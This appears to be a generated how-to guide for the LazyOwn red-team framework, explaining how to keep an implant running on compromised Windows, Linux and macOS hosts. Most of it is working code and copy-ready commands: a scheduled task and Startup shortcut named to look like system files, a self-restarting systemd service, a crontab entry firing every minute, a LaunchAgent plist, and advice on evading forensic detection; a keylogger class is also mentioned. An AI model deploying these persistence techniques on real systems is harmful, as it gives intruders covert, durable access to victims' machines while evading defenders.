# How to Set Up Persistence Mechanisms Across Windows and Linux Targets with LazyOwn

> Master cross-platform persistence with LazyOwn. Automate setup on Windows and Linux targets using scheduled tasks systemd or crontab. Deploy easily with a single command.

- Repository: [Grisuno/lazyown](https://github.com/grisuno/lazyown)
- Tags: how-to-guide
- Published: 2026-03-02

---

**LazyOwn provides automated, cross-platform persistence via scheduled tasks on Windows and systemd/crontab on Linux, deployable through a single `persistence` command or manual Rust implant deployment.**

The **LazyOwn** framework streamlines red-team operations by embedding native persistence techniques directly into its Rust implant and Python modules. Whether targeting Windows corporate environments or Linux servers, you can establish persistence mechanisms across Windows and Linux targets using built-in commands that leverage system-native APIs and service managers. This guide examines the actual implementation in the repository to show you how to deploy, customize, and maintain access on compromised hosts.

## Windows Persistence Mechanisms

### Scheduled Task Deployment via schtasks

In [`sessions/implant/implant_rust.rs`](https://github.com/grisuno/lazyown/blob/main/sessions/implant/implant_rust.rs), the `ensure_persistence` function targets Windows hosts by creating a daily scheduled task through the `schtasks` utility. This technique requires administrative privileges and executes the implant binary automatically after system reboots.

```rust
// sessions/implant/implant_rust.rs
if cfg!(target_os = "windows") {
    let task_name = "SystemMaintenanceTask";
    let task_cmd = format!(
        r#"schtasks /create /tn "{}" /tr "{}" /sc daily /f"#,
        task_name,
        executable.display()
    );
    let status = Command::new("cmd")
        .args(&["/C", &task_cmd])
        .status()
        .map_err(|e| format!("failed to create scheduled task: {}", e))?;
    if !status.success() { return Err("failed to create scheduled task".to_string()); }
}

```

The task is named **SystemMaintenanceTask** to blend with legitimate system maintenance routines. It uses `/sc daily` to ensure execution every day and `/f` to force overwrite any existing task with the same name, preventing deployment errors on re-infection.

### Startup Folder Shortcut via LazyBotnet

For user-level persistence without administrative rights, the optional **LazyBotnet** module in [`modules/lazybotnet.py`](https://github.com/grisuno/lazyown/blob/main/modules/lazybotnet.py) drops a Windows Shell Link (`.lnk`) into the user's Startup folder. This executes the implant each time the user logs into the graphical session.

```python

# modules/lazybotnet.py

if platform.system() == "Windows" and win32com:
    startup_folder = os.path.join(
        os.getenv("APPDATA"),
        "Microsoft", "Windows", "Start Menu", "Programs", "Startup"
    )
    script_path = os.path.abspath(__file__)
    shortcut_path = os.path.join(startup_folder, "system32_log.lnk")
    self.create_shortcut(script_path, shortcut_path)

```

This method relies on the `win32com` library to generate the shortcut object. The file is disguised as `system32_log.lnk` to avoid suspicion when users inspect their startup items.

## Linux Persistence Mechanisms

### systemd Service Installation

On Linux systems with systemd, the Rust implant writes a unit file to `/etc/systemd/system/system-maintenance.service` and enables it for multi-user targets. According to the source code in [`sessions/implant/implant_rust.rs`](https://github.com/grisuno/lazyown/blob/main/sessions/implant/implant_rust.rs) (lines 5160–5176), this provides robust persistence through service management.

```rust
let service_content = format!(
    r#"
[Unit]
Description=System Maintenance Service

[Service]
ExecStart={}
Restart=always
User={}
[Install]
WantedBy=multi-user.target
"#,
    executable.display(),
    env::var("USER").unwrap_or_default()
);
let service_path = "/etc/systemd/system/system-maintenance.service";
fs::write(service_path, service_content)?;
ensure_crontab_persistence(lazyconf)?;
let status = Command::new("systemctl")
    .args(&["enable", "system-maintenance"])
    .status()?;
if !status.success() { return Err("failed to enable systemd service".to_string()); }

```

The **Restart=always** directive ensures the implant respawns if terminated, while **WantedBy=multi-user.target** guarantees execution during the standard boot sequence. The code also invokes `ensure_crontab_persistence` as a redundant backup method.

### Crontab Entry Fallback

For environments lacking systemd or when root privileges are unavailable, the implant falls back to modifying the user's crontab. The implementation in [`sessions/implant/implant_rust.rs`](https://github.com/grisuno/lazyown/blob/main/sessions/implant/implant_rust.rs) (lines 1095–1109) schedules the binary to run every minute.

```rust
let cron_cmd = format!("* * * * * {}\n", executable.display());
let cron = format!("echo '{}' | crontab -", cron_cmd);
let (output, err) = execute_command_with_retry(&shell_command, &cron)?;

```

This **crontab** entry executes the implant binary continuously, ensuring reconnection within 60 seconds if the process is killed. The `execute_command_with_retry` wrapper handles transient failures during the cron installation process.

## macOS Persistence via LaunchAgent

Although the primary question focuses on Windows and Linux, the LazyOwn implant also supports macOS through **LaunchAgent** plists. The code writes to `~/Library/LaunchAgents/com.system.maintenance.plist` to achieve user-level persistence on Apple systems.

```rust
let plist_path = home_dir.join("Library/LaunchAgents/com.system.maintenance.plist");
let plist_content = format!(
    r#"<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key><string>com.system.maintenance</string>
    <key>ProgramArguments</key><array><string>{}</string></array>
    <key>RunAtLoad</key><true/>
    <key>KeepAlive</key><true/>
</dict>
</plist>"#, executable.display()
);
fs::write(&plist_path, plist_content)?;

```

The **KeepAlive** key ensures the process restarts automatically upon termination, mirroring the systemd behavior on Linux.

## Deploying Persistence with LazyOwn Commands

You can trigger these mechanisms interactively from the LazyOwn shell or manually via system commands. The `persistence` command in [`lazyown.py`](https://github.com/grisuno/lazyown/blob/main/lazyown.py) (decorated with `persistence_category` from [`utils.py`](https://github.com/grisuno/lazyown/blob/main/utils.py)) automatically detects the target OS and invokes the appropriate `ensure_persistence` routine.

| Platform | LazyOwn Command | Underlying Mechanism |
|----------|----------------|---------------------|
| Windows | `persistence` | `schtasks` daily task |
| Linux | `persistence` | systemd service + crontab |
| macOS | `persistence` | LaunchAgent plist |
| Windows (Botnet) | `setup_persistence` | Startup folder shortcut |

To manually replicate the Windows scheduled task without the LazyOwn console:

```bash
cmd /C "schtasks /create /tn SystemMaintenanceTask /tr C:\Path\to\implant.exe /sc daily /f"

```

For Linux systemd deployment:

```bash
cat <<EOF > /etc/systemd/system/system-maintenance.service
[Unit]
Description=System Maintenance Service
[Service]
ExecStart=/usr/local/bin/implant
Restart=always
User=$(whoami)
[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-maintenance
systemctl start system-maintenance

```

## Summary

- **Windows persistence** relies on `schtasks` for system-level daily execution or Startup folder shortcuts for user-level access.
- **Linux persistence** prioritizes systemd service files under `/etc/systemd/system/`, with crontab acting as a universal fallback.
- **macOS persistence** uses LaunchAgent plists in the user's Library directory.
- All techniques are implemented in [`sessions/implant/implant_rust.rs`](https://github.com/grisuno/lazyown/blob/main/sessions/implant/implant_rust.rs) and [`modules/lazybotnet.py`](https://github.com/grisuno/lazyown/blob/main/modules/lazybotnet.py), accessible through the unified `persistence` command.
- Administrative or root privileges are required for system-wide persistence installations.

## Frequently Asked Questions

### What privileges are required to set up persistence mechanisms across Windows and Linux targets?

System-level persistence requires elevated privileges. On Windows, creating scheduled tasks with `schtasks` and writing to `C:\Windows\System32` or service directories requires Administrator rights. On Linux, installing systemd units to `/etc/systemd/system/` demands root access. User-level alternatives like Startup folder shortcuts or crontab entries work with standard user permissions but only persist for that specific user session.

### How does LazyOwn handle persistence on systems without systemd?

The Rust implant automatically detects the absence of systemd and falls back to the `ensure_crontab_persistence` function. As shown in [`sessions/implant/implant_rust.rs`](https://github.com/grisuno/lazyown/blob/main/sessions/implant/implant_rust.rs) (lines 1095–1109), it appends a `* * * * *` entry to the user's crontab, ensuring the binary executes every minute regardless of the init system in use.

### Can the persistence mechanisms be removed after deployment?

Yes. The LazyOwn implant includes a `self_destruct` routine that removes the systemd service file, purges the crontab entry, and deletes the Windows scheduled task named **SystemMaintenanceTask**. You should invoke this cleanup method before terminating the implant to avoid leaving forensic artifacts on the target system.

### Where are the persistence routines defined in the LazyOwn source code?

The primary persistence logic resides in [`sessions/implant/implant_rust.rs`](https://github.com/grisuno/lazyown/blob/main/sessions/implant/implant_rust.rs) within the `ensure_persistence` function (lines 4950–5176). Windows-specific startup shortcuts are handled in [`modules/lazybotnet.py`](https://github.com/grisuno/lazyown/blob/main/modules/lazybotnet.py) (lines 24–34) via the `Keylogger` class. Command categorization and CLI integration are defined in [`utils.py`](https://github.com/grisuno/lazyown/blob/main/utils.py) and [`lazyown.py`](https://github.com/grisuno/lazyown/blob/main/lazyown.py), where the `persistence_category` decorator groups related commands.